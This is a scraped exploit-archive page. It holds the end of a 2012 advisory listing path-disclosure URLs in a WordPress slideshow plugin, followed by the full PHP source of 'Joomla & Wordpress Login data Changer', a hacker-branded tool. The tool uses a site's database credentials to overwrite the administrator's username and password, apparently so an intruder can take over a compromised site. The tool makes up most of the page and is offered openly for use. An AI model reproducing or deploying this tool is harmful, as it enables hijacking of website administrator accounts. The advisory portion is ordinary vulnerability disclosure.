/>http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-image-button.php<br />Fatal error: Call to undefined function _e() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-image-button.php on line 1<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-text-button.php<br />Fatal error: Call to undefined function _e() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-text-button.php on line 1<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-video-button.php<br />Fatal error: Call to undefined function _e() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-video-button.php on line 1<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/search-popup.php<br />Fatal error: Call to undefined function submit_button() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\search-popup.php on line 6<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginUpload/upload-button.php<br />Fatal error: Call to undefined function _e() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginUpload\upload-button.php on line 1<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginWidget/form.php<br />Fatal error: Using $this when not in object context in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginWidget\form.php on line 2<br /> <br /> <br /># 1337day.com [2012-10-18]<br /></pre>

WordPress Slideshow 2.1.12 Cross Site Scripting / Path Disclosure

Author: Janek Vind "waraxe" Date: 17. October 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-92.html Description...

Read more »

Joomla & Wordpress Login data Changer

<div id="post_message_7501"><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><html dir="ltr"><br /><br /><head><br /><meta http-equiv="Content-Language" content="en-us"><br /><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><br /><title>HaCker-1420 - Joomla & Wordpress Login data Changer</title><br /><style><br /><br /></style><br /></head><br /><br /><body text="#C0C0C0" bgcolor="#000000" link="#FFFFFF" vlink="#C0C0C0" alink="#FFFFFF"><br /><br /><div align="center"><br /> <table border="1" width="98%" id="table1" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"><br /> <tr><br /> <td><br /> <p align="center"><b><font face=Webdings size=6>!</font><font face=Verdana size=5>HaCker-1420<br /> - Login Data Changer v1.0</font></b><font face=Webdings size=6><b>!</b></font></td><br /> </tr><br /> </table><br /></div><br /><br /><div align="center"><br /> <table border="1" width="98%" id="table3" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"><br /> <tr><br /> <td><br /> <p align="center"><b><font face=Webdings size=6>!</font>Powered By <br /> HaCker-1420--Dz hacker</b><font face=Webdings size=6><b>!</b></font></td><br /> </tr><br /> </table><br /></div><br /><br /><div align="center"><br /> <table border="1" width="98%" id="table4" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF" height="200"><br /> <tr><br /> <td align="left" width="50%" valign="top"><br /><br /><div align="center"><br /> <table border="1" width="100%" id="table5" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"><br /> <tr><br /> <td bgcolor="#800000"><br /> <p align="center"><font color="#FFFFFF"><b>Wordpress Login Changer</b></font></td><br /> </tr><br /> </table><br /></div><br /> <p><br /> <?<br />if(empty($_POST['pwd'])){<br />echo "<FORM method=\"POST\"><br />host : <br> <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"****\"> <br><br />database : <br> <INPUT size=\"15\" value=\"Database\" name=\"database\" type=\"****\"><br><br />username : <br> <INPUT size=\"15\" value=\"Username\" name=\"username\" type=\"****\"><br><br />password : <br> <INPUT size=\"15\" value=\"password\" name=\"password\" type=\"password\"><br><br /> <br><br />New username : <br> <INPUT name=\"admin\" size=\"15\" value=\"admin\"><br><br />New password : <br> <INPUT name=\"pwd\" size=\"15\" value=\"admin\"><br><br /><br /><INPUT value=\"change\" name=\"send\" type=\"submit\"><br /></FORM>";<br />}else{<br />$localhost = $_POST['localhost'];<br />$database = $_POST['database'];<br />$username = $_POST['username'];<br />$password = $_POST['password'];<br />$pwd = $_POST['pwd'];<br />$admin = $_POST['admin'];<br /><br /><br /> @mysql_connect($localhost,$username,$password) or die(mysql_error());<br /> @mysql_select_db($database) or die(mysql_error());<br /><br />$hash = crypt($pwd);<br /><br />$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());<br />$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());<br /><br />if($a4s){<br />echo "<b>root@secure:# ~ Success : U Can Log In Using The New Data - Greetings From HaCker-1420</b> ";<br />}<br /><br />}<br /><br />?><br /> <br /> </td><br /> <td align="left" width="50%" valign="top"><br /><br /><div align="center"><br /> <table border="1" width="100%" id="table6" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"><br /> <tr><br /> <td bgcolor="#800000"><br /> <p align="center"><font color="#FFFFFF"><b>Joomla Login Changer</b></font></td><br /> </tr><br /> </table><br /></div><br /> <p><br /> <br /> <?<br />if(empty($_POST['pwd'])){<br />echo "<FORM method=\"POST\"><br />host :<br> <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><br><br />database :<br> <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"><br><br />username :<br> <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"><br><br />password :<br> <INPUT size=\"15\" value=\"password\" name=\"password\" type=\"password\"><br><br /> <br><br />New Username:<br> <INPUT name=\"admin\" size=\"15\" value=\"admin\"><br><br />New Password: Use MD5 Hash or leave that, the new pass will be 123456<br> <INPUT name=\"pwd\" size=\"15\" value=\"e10adc3949ba59abbe56e057f20f883e\"><br><br /><br /><INPUT value=\"change\" name=\"send\" type=\"submit\"><br /></FORM>";<br />}else{<br />$localhost = $_POST['localhost'];<br />$database = $_POST['database'];<br />$username = $_POST['username'];<br />$password = $_POST['password'];<br />$pwd = $_POST['pwd'];<br />$admin = $_POST['admin'];<br /><br /><br /> @mysql_connect($localhost,$username,$password) or die(mysql_error());<br /> @mysql_select_db($database) or die(mysql_error());<br /><br />$hash = crypt($pwd);<br /><br />$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 1") or die(mysql_error());<br />$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 1") or die(mysql_error());<br /><br />if($SQL){<br />echo "<b>root@secure:# ~ Success : U Can Log In Using The New Data - Greetings From HaCker-1420</b> ";<br />}<br /><br />}<br /><br />?><br /> <br /> </td><br /> </tr><br /> </table><br /></div><br /><br /><div align="center"><br /> <table border="1" width="98%" id="table7" dir="ltr" bgcolor="#800000" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF" height="110"><br /> <tr><br /> <td valign="top"><br /> <p align="center"><b><font color="#FFFFFF">Special Greets To : All <br /> <a href="http://www.gaza-hacker.com/cc/"><font color="#000000">Gaza-hacker</font></a> members</font><br><br /> <font face="Georgia" color="#FFFFFF">Th3 Viper - !-Bb0yH4cK3r_Dz-!- -- L3b-R1z- <br> <font size="2">read our news at : <br /> </font></font><br /> <font face="Georgia" color="#FFFFFF" size="2"><br /> <a href="https://www.facebook.com/profile.php?id=100002945116030"><font color="#000000">Ozil.Mohamed</font></a></font></b></td><br /> </tr><br /> </table><br /></div><br /><br /></body><br /><br /></html></pre></div></div>

Joomla & Wordpress Login data Changer

Code: <html dir="ltr"> <head> <meta http-equiv="Content-Language" content="en-us"> <meta ...

Read more »